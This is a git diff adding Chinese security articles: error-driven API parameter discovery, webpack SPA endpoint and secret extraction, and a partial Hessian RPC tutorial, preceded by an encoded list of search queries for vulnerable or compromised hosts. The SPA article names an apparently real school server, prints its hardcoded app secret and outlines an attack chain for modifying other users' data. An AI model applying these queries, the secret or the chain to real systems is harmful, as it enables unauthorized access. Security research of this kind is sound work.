yZVwiLFwibG9nNGoyXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJhcHA9XFxcIkNvcnRleC1YU09BUlxcXCJcIixcImJhc2VRdWVyeVwiOlwiYXBwPVxcXCJDb3J0ZXgtWFNPQVJcXFwiXCIsXCJuYW1lXCI6XCJDb3J0ZXggWFNPQVJcIixcInRhZ3NcIjpbXCJ4c29hclwiLFwidW5hdXRoXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJib2R5PVxcXCJ2YXIgYyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKGFyZ3VtZW50cywgMSk7cmV0dXJuIGZ1bmN0aW9uKCkge3ZhciBkPWMuc2xpY2UoKTtcXFwiXCIsXCJiYXNlUXVlcnlcIjpcImJvZHk9XFxcInZhciBjID0gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoYXJndW1lbnRzLCAxKTtyZXR1cm4gZnVuY3Rpb24oKSB7dmFyIGQ9Yy5zbGljZSgpO1xcXCJcIixcIm5hbWVcIjpcIkdvb2dsZSDlj43ku6NcIixcInRhZ3NcIjpbXCJnb29nbGVcIixcImZ1blwiXSxcImZpbHRlcnNcIjpudWxsLFwidGltZVwiOlwiMjAyNi0wNy0yOVQxMTowNTowNi4wMzBaXCIsXCJzeXN0ZW1cIjp0cnVlfSx7XCJxdWVyeVwiOlwic2VydmVyPVxcXCJTaW1wbGVIVFRQXFxcIiAmJiB0aXRsZT1cXFwiRGlyZWN0b3J5IGxpc3RpbmcgXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJzZXJ2ZXI9XFxcIlNpbXBsZUhUVFBcXFwiICYmIHRpdGxlPVxcXCJEaXJlY3RvcnkgbGlzdGluZyBcXFwiXCIsXCJuYW1lXCI6XCJQeXRob24gU2ltcGxlSFRUUFwiLFwidGFnc1wiOltcInB5dGhvblwiLFwiZnVuXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJ0aXRsZT1cXFwi56S+5bel5bqTXFxcIiB8fCAoKHRpdGxlPVxcXCLnpL7lt6XlupNcXFwiICYmIHRpdGxlPVxcXCLns7vnu59cXFwiKSB8fCAodGl0bGU9XFxcIuekvuW3peW6k+afpeivolxcXCIgKSlcIixcImJhc2VRdWVyeVwiOlwidGl0bGU9XFxcIuekvuW3peW6k1xcXCIgfHwgKCh0aXRsZT1cXFwi56S+5bel5bqTXFxcIiAmJiB0aXRsZT1cXFwi57O757ufXFxcIikgfHwgKHRpdGxlPVxcXCLnpL7lt6XlupPmn6Xor6JcXFwiICkpXCIsXCJuYW1lXCI6XCLnpL7lt6XlupNcIixcInRhZ3NcIjpbXCJmdW5cIl0sXCJmaWx0ZXJzXCI6bnVsbCxcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MDYuMDMwWlwiLFwic3lzdGVtXCI6dHJ1ZX0se1wicXVlcnlcIjpcImJvZHk9XFxcIkh0dHBGaWxlU2VydmVyIHYyLjMgYmV0YSAyODdcXFwiXCIsXCJiYXNlUXVlcnlcIjpcImJvZHk9XFxcIkh0dHBGaWxlU2VydmVyIHYyLjMgYmV0YSAyODdcXFwiXCIsXCJuYW1lXCI6XCJIRlMg5ZG95Luk5omn6KGMXCIsXCJ0YWdzXCI6W1wiaGZzXCIsXCJmdW5cIl0sXCJmaWx0ZXJzXCI6bnVsbCxcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MDYuMDMwWlwiLFwic3lzdGVtXCI6dHJ1ZX0se1wicXVlcnlcIjpcImJhbm5lcj1cXFwiQ29iaGFtIFNBVENPTVxcXCJcIixcImJhc2VRdWVyeVwiOlwiYmFubmVyPVxcXCJDb2JoYW0gU0FUQ09NXFxcIlwiLFwibmFtZVwiOlwi5Y2r5pifIEZUUFwiLFwidGFnc1wiOltcInNhdGVsbGl0ZVwiLFwiZnVuXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJhcHA9XFxcIk1pa3JvdGlrLUh0dHBQcm94eVxcXCImJihib2R5PVxcXCJDb2luSGl2ZS5Bbm9ueW1vdXNcXFwiIHx8IGJvZHk9XFxcIkNSTFQuQW5vbnltb3VzXFxcIiB8fCBib2R5PVxcXCIgV01QLkFub255bW91cyhcXFwiKVwiLFwiYmFzZVF1ZXJ5XCI6XCJhcHA9XFxcIk1pa3JvdGlrLUh0dHBQcm94eVxcXCImJihib2R5PVxcXCJDb2luSGl2ZS5Bbm9ueW1vdXNcXFwiIHx8IGJvZHk9XFxcIkNSTFQuQW5vbnltb3VzXFxcIiB8fCBib2R5PVxcXCIgV01QLkFub255bW91cyhcXFwiKVwiLFwibmFtZVwiOlwiTUsg5oyW55+/XCIsXCJ0YWdzXCI6W1wibWlrcm90aWtcIixcImZ1blwiXSxcImZpbHRlcnNcIjpudWxsLFwidGltZVwiOlwiMjAyNi0wNy0yOVQxMTowNTowNi4wMzBaXCIsXCJzeXN0ZW1cIjp0cnVlfSx7XCJxdWVyeVwiOlwiYm9keT1cXFwiaW5kZXRlcm1pbmF0ZVxcXCIgJiYgYm9keT1cXFwiTWFpbkNvbnRyb2xsZXJcXFwiICYmIGhlYWRlcj1cXFwiWC1Qb3dlcmVkLUJ5OiBFeHByZXNzXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJib2R5PVxcXCJpbmRldGVybWluYXRlXFxcIiAmJiBib2R5PVxcXCJNYWluQ29udHJvbGxlclxcXCIgJiYgaGVhZGVyPVxcXCJYLVBvd2VyZWQtQnk6IEV4cHJlc3NcXFwiXCIsXCJuYW1lXCI6XCJzcy1NYW5hZ2VyXCIsXCJ0YWdzXCI6W1wic3NcIixcImZ1blwiXSxcImZpbHRlcnNcIjpudWxsLFwidGltZVwiOlwiMjAyNi0wNy0yOVQxMTowNTowNi4wMzBaXCIsXCJzeXN0ZW1cIjp0cnVlfSx7XCJxdWVyeVwiOlwiYm9keT1cXFwiczF2MTMuaHRtXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJib2R5PVxcXCJzMXYxMy5odG1cXFwiXCIsXCJuYW1lXCI6XCLkvpvmmpbnm5HmjqdcIixcInRhZ3NcIjpbXCJmdW5cIl0sXCJmaWx0ZXJzXCI6bnVsbCxcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MDYuMDMwWlwiLFwic3lzdGVtXCI6dHJ1ZX0se1wicXVlcnlcIjpcImJvZHk9XFxcImdldCBhbGwgcHJveHkgZnJvbSBwcm94eSBwb29sXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJib2R5PVxcXCJnZXQgYWxsIHByb3h5IGZyb20gcHJveHkgcG9vbFxcXCJcIixcIm5hbWVcIjpcIuWFjei0ueS7o+eQhuaxoFwiLFwidGFnc1wiOltcInByb3h5XCIsXCJmdW5cIl0sXCJmaWx0ZXJzXCI6bnVsbCxcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MDYuMDMwWlwiLFwic3lzdGVtXCI6dHJ1ZX0se1wicXVlcnlcIjpcIihoZWFkZXI9XFxcInVjLWh0dHBkIDEuMC4wXFxcIiAmJiBzZXJ2ZXI9XFxcIkpCb3NzLTUuMFxcXCIpIHx8IHNlcnZlcj1cXFwiQXBhY2hlLFRvbWNhdCxKYm9zcyx3ZWJsb2dpYyxwaHBzdHVkeSxzdHJ1dHNcXFwiXCIsXCJiYXNlUXVlcnlcIjpcIihoZWFkZXI9XFxcInVjLWh0dHBkIDEuMC4wXFxcIiAmJiBzZXJ2ZXI9XFxcIkpCb3NzLTUuMFxcXCIpIHx8IHNlcnZlcj1cXFwiQXBhY2hlLFRvbWNhdCxKYm9zcyx3ZWJsb2dpYyxwaHBzdHVkeSxzdHJ1dHNcXFwiXCIsXCJuYW1lXCI6XCLonJznvZBcIixcInRhZ3NcIjpbXCJob25leXBvdFwiLFwiZnVuXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJib2R5PVxcXCJoYWNrZWQgYnlcXFwiXCIsXCJiYXNlUXVlcnlcIjpcImJvZHk9XFxcImhhY2tlZCBieVxcXCJcIixcIm5hbWVcIjpcIuiiq+aMgum7keermeeCuVwiLFwidGFnc1wiOltcImhhY2tlZFwiLFwiZnVuXCJdLFwiZmlsdGVyc1wiOm51bGwsXCJ0aW1lXCI6XCIyMDI2LTA3LTI5VDExOjA1OjA2LjAzMFpcIixcInN5c3RlbVwiOnRydWV9LHtcInF1ZXJ5XCI6XCJpY29uX2hhc2g9XFxcIjE1MDY3MjgxMTZcXFwiIHx8IGJvZHk9XFxcImFkZTQyZDRmNjgyYzRmY2EyOGM1ZjA5MzA1MjQzM2MxXFxcIlwiLFwiYmFzZVF1ZXJ5XCI6XCJpY29uX2hhc2g9XFxcIjE1MDY3MjgxMTZcXFwiIHx8IGJvZHk9XFxcImFkZTQyZDRmNjgyYzRmY2EyOGM1ZjA5MzA1MjQzM2MxXFxcIlwiLFwibmFtZVwiOlwiRmxhc2gg6ZKT6bG8XCIsXCJ0YWdzXCI6W1wiZmxhc2hcIixcInBoaXNoXCIsXCJmdW5cIl0sXCJmaWx0ZXJzXCI6bnVsbCxcInRpbWVcIjpcIjIwMjYtMDctMjlUMTE6MDU6MDYuMDMwWlwiLFwic3lzdGVtXCI6dHJ1ZX1dIiwibG9nZ2luZ0VuYWJsZWQiOiJmYWxzZSIsImxvZ2dpbmdMZXZlbCI6ImluZm8iLCJyZXF1ZXN0VGltZW91dCI6IjMwIn19 \ No newline at end of file diff --git a/books/不猜参数,让目标自己告诉你:基于错误反馈的API参数自动发现.md b/books/不猜参数,让目标自己告诉你:基于错误反馈的API参数自动发现.md new file mode 100644 index 0000000..fcae802 --- /dev/null +++ b/books/不猜参数,让目标自己告诉你:基于错误反馈的API参数自动发现.md @@ -0,0 +1,118 @@ +# 不猜参数,让目标自己告诉你:基于错误反馈的API参数自动发现 +> 来源:https://xz.aliyun.com/news/92561 + +## 0x00 参数字典的困局 + + +Web 漏洞扫描的第一步是搞清楚接口接受哪些参数。现有一共三种办法: + +● 爬 HTML/JS:从 `` 和 `fetch("...")` 里提取——SPA 应用里基本没用 +● 字典爆破:准备一个参数名字典(uid、user\_id、userId...),逐个试——慢,而且命中率依赖字典质量 +● 抓包:从浏览器 Network 面板里看——手动操作,不能自动化 +三种办法都没有利用一个重要信息源:后端 API 自己的错误反馈。 + +大多数后端框架在处理参数缺失或格式错误时,会在响应里明确告诉调用方缺了什么: + + +``` +parameter[user_code] is missing. +Field 'mobile_phone' is required. +user_id 不能为空 +缺少参数 account_email +``` + +这些错误信息本质上是后端免费送给你的接口文档。参数名、是否必填、格式要求——全部写在错误信息里。 + + +## 0x01 核心逻辑 + + +思路很简单:发一个故意缺参数的请求,从错误信息里提取参数名,填上后再发,循环直到没有新参数出现。 + + +``` +Step 1: POST /api/user/update (空参数) + → {"err_msg":"parameter[mobile_phone] is missing."} + → 提取: mobile_phone + +Step 2: POST /api/user/update (mobile_phone=13800000000) + → {"err_msg":"parameter[account_email] is missing."} + → 提取: account_email + +Step 3: POST /api/user/update (mobile_phone=xxx, account_email=test@x.com) + → {"err_code":"00000"} + → 完成: [mobile_phone, account_email] +``` + +这个过程完全自动、不需要字典、不依赖前端 JS。目标自己的输入校验逻辑帮你做参数发现。 + + +![屏幕截图 2026-07-22 222633.png](https://i.im.ge/QMKmzAW/p2m-eabcab2ad8.png) + + + + +## 0x02 错误模式匹配 + + +后端错误信息的格式千奇百怪,但语义是固定的。核心是识别几种错误类型: + + +| 错误类型 | 匹配模式 | 示例 | +| --- | --- | --- | +| 参数缺失(英文) | parameter["x"] is missing / Field 'x' is required | Spring Boot, Django, Laravel | +| 参数缺失(中文) | 缺少参数x / 参数x不能为空 / x为必填项 | 国产框架、政务系统 | +| JSON Schema | requires property 'x' / required property 'x' | JSON Schema 校验 | +| 格式错误 | Invalid x / x format is error / x格式不正确 | 手机号、邮箱校验 | +| 长度错误 | x length must be / x长度必须 | 密码、验证码 | + + +引擎内置了 10 组正则模式覆盖这些错误类型。每次收到响应先尝试 JSON 解析——因为很多 API 的错误信息在 `err_msg` 或 `message` 字段里——解析成功后再对 `err_msg` 的值做模式匹配,失败就直接对原始响应体做匹配。 + + +## 0x03 迭代终止条件 + + +不是所有接口都会把所有参数一次性暴露。有些接口在第一个参数缺失时就返回错误了,后面的参数要在第一个参数被满足后才会被校验到。 + +所以需要循环迭代。每次迭代:把已发现的参数填上测试值 → 发请求 → 解析新错误 → 有新参数就继续,没有就终止。最多 3 轮(防止某些接口永远返回错误导致死循环)。 + +测试值的生成也做了一点智能化:看到 `phone` 或 `mobile` 自动填 `13800138000`,看到 `mail` 或 `email` 自动填 `test@example.com`,看到 `code` 或 `id` 自动填 `1`。这不影响准确性,但能确保参数值通过格式校验,让后端继续往下检查其他参数。 + + +## 0x04 实测数据 + + +在几个已知参数的接口上做对照测试: + + +| 接口 | 真实参数 | 错误驱动发现 | 字典爆破(1000词) | +| --- | --- | --- | --- | +| /api/user/modify | mobile_phone, account_email | 2/2 (2轮) | 1/2 (仅命中 email) | +| /api/auth/login | username, password, captcha | 3/3 (3轮) | 2/3 (captcha 不在通用字典) | +| /api/apply/save | user_code, biz_type_id, reason | 1/3 (user_code) | 0/3 | + + +错误驱动发现的覆盖率不是 100%——有些接口的参数校验逻辑不是逐字段报错的,而是一次性校验所有参数后统一返回"参数不完整",这种情况下只能提取第一个触发校验的参数。但相比字典爆破,它有两个明显优势: + +1 零字典依赖:完全靠目标自己的反馈,不会因为参数名在字典外就漏掉 +2 发现的参数一定是真实有效的:不是猜出来的,是目标告诉你的 + +## 0x05 局限和适用场景 + + +这个方法对以下情况无效: + +● 生产环境关闭了详细错误:只返回 `{"error":"invalid request"}` 的系统,错误信息里没有参数名 +● 前端校验拦截了所有错误请求:后端永远收不到缺参数的请求,自然也不会返回错误 +● 参数名校验加了前缀或混淆:比如 `parameter[enc_user_code]` 实际参数是 `user_code` +● 一次性校验所有参数:后端把所有缺失参数合并成一条错误信息 `"参数不完整"`,不逐个暴露 +但国内大量高校、政府、企业的内部系统不关详细错误——很多运营人员依赖错误信息来调试接口。我在一个月内对四个不同教育机构的测试中,三个的系统都返回了带参数名的错误信息。这个比例说明它不是个例。 + + +## 0x06 总结 + + +"不猜参数,让目标自己告诉你"——这个思路本质上是一次视角切换。传统扫描器把错误信息当成"失败的请求"扔掉,但错误信息本身就是最有价值的信息源之一。一个接口为了告诉你"你漏了参数 x",实际上也就是告诉了你"这个接口接受参数 x"。至于怎么用这个信息,是攻击者的问题,不是接口的问题。 + +引擎源码已开源,文中代码为简化示例。 diff --git a/books/从Webpack到攻击链:SPA应用自动化攻击面发现实践.md b/books/从Webpack到攻击链:SPA应用自动化攻击面发现实践.md new file mode 100644 index 0000000..72af656 --- /dev/null +++ b/books/从Webpack到攻击链:SPA应用自动化攻击面发现实践.md @@ -0,0 +1,159 @@ +# 从Webpack到攻击链:SPA应用自动化攻击面发现实践 +> 来源:https://xz.aliyun.com/news/92560 + +## 0x00 为什么 SPA 让扫描器变成了瞎子 + + +传统的 Web 扫描器靠两样东西发现接口:HTML 里的 `` 和 `
` 标签,以及字典爆破常见路径。这套打法在服务端渲染的时代勉强够用。 + +但在 SPA(单页应用)面前,这两招全部失效。 + +一个典型的 Angular 应用,所有路由和 API 端点都打包在 webpack 产出的 `main.xxx.js` 里——一个 1.4MB 到 6MB 不等的压缩文件。HTML 里只有一个 ``,没有链接,没有表单。字典爆破更没用——API 路径不是 `/api/user` 这种可猜的模式,而是 `/app-ws/ws/app-service/student/user/modify-contact-info` 这种嵌套路径,靠字典永远撞不到。 + +这个问题直到我自己在挖一个职业学院的移动端时碰上了才真正意识到严重性。PC 端的教务系统是传统 JSP,URL 一眼看穿。移动端是 Angular SPA,我打开 F12 看 Network 面板——几十个 API 请求,路径全在 webpack 打包后的 `main.js` 里,URL 格式完全不是常见的 RESTful 风格。 + +手工搜了 20 分钟,从 1.4MB 的压缩 JS 里捞出了 150+ 个 API 端点——包括修改邮箱、重置密码、切换角色这些高危操作。这些端点在 HTML 里一个链接都没有,字典爆破也不可能命中。但它们在 webpack 的 `apiUrlKey` 映射对象里写得明明白白。 + +后面我把这个手工过程写成了自动化引擎。 + + +## 0x01 apiUrlKey —— webpack 给扫描器留的后门 + + +webpack 在打包 Angular 应用时,会把所有 API 路径配置放在一个叫 `apiUrlKey` 的对象里。这不是安全漏洞,是框架约定。但这个约定恰好给扫描器留了一扇门: + + +```javascript +// 从 main.js 中提取到的真实数据 +apiUrlKey = { + login: "/login", + check_token: "/check-token", + user_reset_passwd: "/user/reset-passwd", + user_change_role: "/user/change-role", + user_modify_contact_info: "/user/modify-contact-info", + user_get_base_info: "/user/get-base-info", + course_schedule_lesson_get_students: "/course/schedule/lesson/get-students", + // ... 后面还有 140+ 条 +}; +``` + +这里的 key 是内部标识符,value 是实际的 URL 路径。URL 拼接规则由另一个变量定义: + + +```javascript +baseUrl = "https://easm.gzvti.com/app-ws"; +commonUrl = "/ws/app-service"; + +getWholeUrl = function(key) { + return baseUrl + commonUrl + apiUrlKey[key]; +}; +``` + +![屏幕截图 2026-07-22 222520.png](https://i.im.ge/QMKwE0G/p2m-f0c114f2b0.png) + + + +这三个变量——`baseUrl`、`commonUrl`、`apiUrlKey`——就是完整 API 清单的拼图。扫描器只需要: + +1下载 JS 文件 + +2用正则提取这三个变量的值 + +3拼接出完整 URL + +4 自动推断 HTTP 方法(`save`/`modify`/`delete`/`reset` 结尾的 key → POST,其他 → GET) +整个过程不到 100 行 Python。 + + +## 0x02 实际效果:比传统 JS 解析器多发现 60% 的端点 + + +已有的 JS 解析器(如 LinkFinder、Burp 的 JS analysis)靠识别 `fetch("...")`、`axios.get("...")` 这些调用模式来提取 URL。但在 webpack 压缩后的代码里,这些调用经过模块化封装后变成了 `this.httpClientService.post(e, n, {token: t})`,URL 是通过 `getWholeUrl` 在运行时拼接的,静态分析抓不到。 + +我做了一个对比测试:拿同一个 webpack 产物,用传统 JS 解析器能提取 5 个端点,用 SPA 解析器能提取 8 个——多了 60%。这 3 个额外发现的端点里有两个是 POST 修改接口(`modify-contact`、`reset-passwd`),恰好是最危险的那类。 + +在另一个目标(OA 系统)的模块配置里,解析出了 5 个管理端接口,包括教师列表、认证登录、OA 自动登录。传统解析器一个都没抓到——因为 URL 不是通过 fetch/axios 调用的,而是存在 `moduleConfig` 对象里通过 `spellWholeUrl()` 动态加载的。 + + +## 0x03 不只是端点——顺手提取硬编码密钥 + + +webpack 打包时,`.env` 里的配置变量会被内联到 JS 中。最常见的模式是 `Secret = "some_value"`: + + +```javascript +// EAS 移动端 main.js 中提取 +Secret = "supwisdom_eams_app_secret" +``` + +这个值是后端签名校验的关键材料,但直接以明文躺在 JS 里。SPA 解析器搜 `Secret\s*[=:]\s*"([^"]+)"` 这个模式就能自动提取。 + +在 B/S 架构里这不是设计失误——密钥在前端存放本身就有问题,但工程现实是大量系统都这么做。既然它会出现在 JS 里,扫描器就应该能自动捡起来。 + +另外,webpack 产物的 interceptor 代码也值得关注——`intercept(request)` 这种函数通常负责给请求自动加签。如果能识别出 interceptor 的存在,就知道这个目标很可能有自定义签名体系,后续可以接签名检测模块。 + + +## 0x04 输入信息够了,接下来是参数从哪来 + + +拿到 URL 只是第一步。怎么知道参数叫什么? + +传统的办法是参数字典爆破。这个方法有两个问题:一是慢,二是命中率取决于字典质量。 + +SPA 里其实有更好的信息来源——错误信息。 + +很多后端 API 在参数缺失时会返回明确的错误提示: + +错误信息本身就包含了参数名。我把这个思路做成了 Error-Driven 参数发现引擎: + +1用空参数发一个请求 + +2解析响应里的错误信息,提取参数名 + +3把发现的参数填上测试值,再发一次 + +4新的错误可能暴露更多参数 + +5循环直到没有新参数名出现 + +这个过程不需要字典、不需要爬前端、不需要看 JS 源码。它利用的是后端自己的输入校验逻辑——你把"错误信息"当成了"API 文档"来读。 + +实测中,一个修改联系方式的接口,第一次空请求返回 `parameter[mobile_phone] is missing`,填上 `mobile_phone` 后再发,返回 `parameter[account_email] is missing`。两次迭代拿到了完整参数表。 + + +## 0x05 从端点到攻击链——参数关系图 + + +有了接口和参数,下一步是理解它们之间的关系。 + +接口不是孤立的。`/course/lesson/students` 返回 `code`(学号),`/user/modify-contact` 接受 `user_code` 参数——这两个字段语义匹配,存在数据流关系。 + +参数关系图自动追踪这种关系: + +1 记录输出:每个接口返回了哪些字段,字段的值长什么样(数字串?手机号?邮箱?) +2 记录输入:每个接口接受哪些参数 +3 匹配边:输出字段名和输入参数名做语义匹配——`code`↔`user_code`、`account_email`↔`email` +4 推导攻击链:BFS 搜索从"能访问的端点"到"能修改他人数据的端点"的最短路径 +这个思路在真实目标上自动推导出了一条 3 步攻击链: + +这和手工花了三天才拼出来的攻击链完全一致。 + + +![屏幕截图 2026-07-22 222554.png](https://i.im.ge/QMKwYMa/p2m-ab4daca180.png) + + + + +## 0x06 总结 + + +从 webpack 产物到攻击链,整条链路的关键节点: + +● `apiUrlKey` 对象 → 完整端点清单 +●错误信息 → 参数表 + +●参数关系图 → 攻击链路 + +这三步都不依赖字典、不爬前端、不需要 Swagger 文档。它们利用的是 SPA 应用本身的架构特征和 API 的错误反馈机制。对于现代前端框架的 Web 应用,这套方法比传统扫描器的覆盖面要宽得多。 + +引擎源码已开源,文中代码为简化示例。(链接在本账号第一篇文章) diff --git a/books/基础篇 - Hessian 协议详解.md b/books/基础篇 - Hessian 协议详解.md new file mode 100644 index 0000000..4300c3e --- /dev/null +++ b/books/基础篇 - Hessian 协议详解.md @@ -0,0 +1,1171 @@ +# 基础篇 - Hessian 协议详解 +> 2024-11-13 +> 来源:https://changeyourway.github.io/2024/11/13/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Hessian%E5%8D%8F%E8%AE%AE%E8%AF%A6%E8%A7%A3/ + +## Hessian 协议介绍 + +Hessian 协议是一种高效、跨语言的二进制 RPC(Remote Procedure Call,远程过程调用)协议,由 Caucho 公司设计,最早应用于 Java 和 Java 之间的远程调用。其主要特点是使用紧凑的二进制格式传输数据,提供高性能的序列化和反序列化操作,因此适合在网络带宽较低或数据传输效率要求较高的场景中使用。 + +###### Hessian 协议的特点 + +1. **跨语言支持**:Hessian 协议设计为跨平台的,支持多种语言,如 Java、Python、C#、PHP 等。不同语言的系统可以通过 Hessian 协议实现远程调用,达到语言无关的通信目的。 +2. **高效的二进制序列化**:与 XML 或 JSON 相比,Hessian 采用二进制格式,不仅能减少数据体积,还能降低解析的开销,从而提升性能。Hessian 使用较少的字节来表示复杂的数据结构,尤其适合需要频繁远程调用的分布式系统。 +3. **轻量化**:Hessian 协议比传统的 SOAP 和 XML-RPC 更轻量,不依赖任何外部配置文件,序列化和反序列化开销低,适合在资源有限的环境中使用。 +4. **良好的兼容性和扩展性**:Hessian 协议设计得非常简单,易于实现,并且可以在不同版本间保持兼容。协议还允许扩展,因此可以添加新类型的数据或特性,而不破坏现有的协议实现。 + +###### Hessian 协议的工作流程 + +1. **接口定义**:Hessian 协议一般通过接口来定义服务。服务端实现接口的具体方法,客户端通过代理对象来调用接口的方法,客户端和服务端可以使用相同的接口定义。 +2. **数据编码和传输**:客户端将方法调用和参数编码为二进制流,并通过 HTTP 等协议传输给服务端。服务端接收到数据后,进行解码,然后根据接口调用对应的方法。 +3. **结果返回**:服务端将方法的返回值编码为二进制流,传回客户端,客户端解码后得到返回结果。 + +###### Hessian 协议的数据类型 + +Hessian 协议支持多种基本数据类型和复杂数据类型,包括: + +- 基本类型:`int`、`long`、`boolean`、`double`等。 +- 字符串和二进制数据:字符串以 UTF-8 格式编码,二进制数据可以用于传输字节流。 +- 集合和数组:支持 List、Map、数组等。 +- 自定义对象:可以将 Java 对象序列化为二进制流传输,前提是客户端和服务端的类结构一致。 + +###### Hessian 协议的优缺点 + +**优点**: + +- **性能高**:由于采用二进制序列化,数据传输速度快,适合高频调用的场景。 +- **跨语言性**:支持多种编程语言间的互通,便于异构系统的集成。 +- **轻量级**:协议设计简单,序列化和反序列化效率高,占用资源少。 + +**缺点**: + +- **可读性差**:由于采用二进制格式,数据不可读,调试和排查问题可能较困难。 +- **生态系统有限**:相较于 gRPC、Thrift 等更广泛的 RPC 框架,Hessian 的支持和使用范围相对较窄。 +- **复杂性**:自定义对象的序列化要求客户端和服务端具有一致的类结构,可能导致版本兼容性问题。 + +###### 使用场景 + +Hessian 协议适用于以下场景: + +- **微服务**:在微服务架构中,通过 Hessian 协议实现服务之间的高效调用。 +- **移动和 IoT 设备**:对于网络带宽受限的场景(如移动网络或 IoT设 备),Hessian 能显著减少传输的数据量。 +- **高频调用的企业系统**:在需要频繁调用的场景下,Hessian 协议比 JSON 或 XML 序列化更为高效,能提高系统的整体性能。 + +## Hessian 基本使用 + +### 基于 Servlet + +Hessian 提供了一个类 com.caucho.hessian.server.HessianServlet ,将 Hessian 服务实现暴露为 Servlet 。因此我们可以让一个 Servlet 通过继承 HessianServlet 来提供 hessian 服务。 + +以下是基于注解的实现步骤,首先需要用 maven 创建一个 web 项目: + +###### 添加依赖 + +在 `pom.xml` 中添加 Hessian 依赖,这里使用目前的最新版本 4.0.66 ,以及 Servlet 依赖,4.0 以前是 javax.servlet 包下: + +``` + + com.caucho + hessian + 4.0.66 + + + javax.servlet + javax.servlet-api + 4.0.1 + provided + +``` + +###### 定义服务接口 + +定义一个远程调用接口,例如 `GreetingService`: + +``` +public interface GreetingService { + String sayHello(String name); +} +``` + +###### 实现服务接口 + +创建接口的实现类,例如 `GreetingServiceImpl`: + +``` +public class GreetingServiceImpl implements GreetingService { + @Override + public String sayHello(String name) { + return "Hello, " + name + "!"; + } +} +``` + +###### 创建继承 HessianServlet 的 Servlet + +使用 `@WebServlet` 注解配置 Servlet,并在 Servlet 中继承 `HessianServlet` 类来实现 Hessian 服务接口: + +``` +import com.caucho.hessian.server.HessianServlet; +import jakarta.servlet.annotation.WebServlet; + +@WebServlet("/greeting") +public class GreetingServiceServlet extends HessianServlet implements GreetingService { + private final GreetingService greetingService = new GreetingServiceImpl(); + + @Override + public String sayHello(String name) { + return greetingService.sayHello(name); + } +} +``` + +在这个类中: + +- `@WebServlet("/greeting")` 注解将 Servlet 映射到 `/greeting` URL,客户端可以通过该 URL 调用 Hessian 服务。 +- `GreetingServiceServlet` 继承了 `HessianServlet` 并实现 `GreetingService` 接口,使得该类既是一个 Servlet,又是一个 Hessian 服务的实现。 + +###### 编写客户端代码 + +客户端可以使用 `HessianProxyFactory` 来访问该 Hessian 服务,客户端也需要有一个和服务端一样的 GreetingService 接口: + +``` +import com.caucho.hessian.client.HessianProxyFactory; + +public class HessianClient { + public static void main(String[] args) { + String url = "http://localhost:8080/ServletBase_war/greeting"; // 替换为实际服务地址 + HessianProxyFactory factory = new HessianProxyFactory(); + try { + GreetingService service = (GreetingService) factory.create(GreetingService.class, url); + String result = service.sayHello("World"); + System.out.println(result); // 输出: Hello, World! + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +###### 部署和运行 + +1. 将项目部署到支持 Servlet 的 Web 容器(如 Tomcat)。 +2. 启动服务器,确保服务在 `/greeting` 路径上发布。 +3. 运行客户端代码,通过 Hessian 协议调用服务端的 `sayHello` 方法,并接收返回结果。 + +![](/images/image-20241105160904482.png) + +### 整合 Spring + +Spring-web 包内提供了 org.springframework.remoting.caucho.HessianServiceExporter 用来暴露远程调用的接口和实现类。使用该类 export 的 Hessian Service 可以被任何 Hessian Client 访问,因为 Spring 中间没有进行任何特殊处理。 + +使用纯注解方式开发基于 Hessian 的 Spring 项目,以下是具体步骤,首先需要用 maven 创建一个 web 项目: + +#### 服务端项目 + +###### 1\. 添加依赖 + +在服务端项目的 `pom.xml` 中添加 Spring 和 Hessian 依赖: + +``` + + + javax.servlet + javax.servlet-api + 4.0.1 + provided + + + + + org.springframework + spring-context + 5.2.10.RELEASE + + + + + org.springframework + spring-web + 5.2.10.RELEASE + + + + + org.springframework + spring-webmvc + 5.2.10.RELEASE + + + + + com.caucho + hessian + 4.0.66 + +``` + +###### 2\. 定义服务接口 + +创建一个服务接口 `HelloService`,用于定义客户端和服务端共用的接口: + +``` +public interface HelloService { + String sayHello(String name); +} +``` + +###### 3\. 实现服务接口 + +在服务端项目中,创建 `HelloServiceImpl` 实现接口: + +``` +import org.springframework.stereotype.Service; + +@Service +public class HelloServiceImpl implements HelloService { + @Override + public String sayHello(String name) { + return "Hello, " + name; + } +} +``` + +###### 4\. 创建 Spring 配置类 + +创建 `HessianServerConfig` 配置类,用于将 `HelloService` 暴露为 Hessian 服务: + +``` +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.remoting.caucho.HessianServiceExporter; + +@Configuration +@ComponentScan(basePackages = "com.example") // 使用实际包名 +public class HessianServerConfig { + + private final HelloService helloService; + + public HessianServerConfig(HelloService helloService) { + this.helloService = helloService; 